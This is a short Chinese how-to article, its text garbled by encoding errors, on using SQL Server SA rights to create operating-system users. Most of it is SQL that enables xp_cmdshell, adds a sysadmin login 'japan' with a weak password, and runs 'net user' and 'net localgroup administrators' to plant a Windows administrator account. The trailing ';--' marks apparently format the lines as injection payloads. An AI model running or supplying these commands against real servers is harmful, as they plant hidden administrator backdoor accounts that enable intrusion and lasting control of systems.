通過SQL Server SA權(quán)限創(chuàng)建系統(tǒng)用戶
作者:佚名
如果使用SQL Server SA權(quán)限,能否實(shí)現(xiàn)創(chuàng)建系統(tǒng)用戶呢?答案是肯定的,下面就為您介紹該功能的實(shí)現(xiàn)方法,供您參考。
通過SQL Server SA權(quán)限,可以實(shí)現(xiàn)許多的操作,下面為您介紹的是通過SQL Server SA權(quán)限創(chuàng)建系統(tǒng)用戶的方法,希望對您學(xué)習(xí)SQL Server SA權(quán)限的使用能有所啟迪。
- --enabble xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'1'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- Unenable xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'0'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- 通過xp_cmdshell 創(chuàng)建操作系統(tǒng)用戶, japan 是用戶名及密碼
- exec master.dbo.sp_addlogin japan;--
- exec master.dbo.sp_password null,japan,japan;--
- exec master.dbo.sp_addsrvrolemember japan,sysadmin;--
- exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
- exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--
【編輯推薦】
責(zé)任編輯:段燃
來源:
互聯(lián)網(wǎng)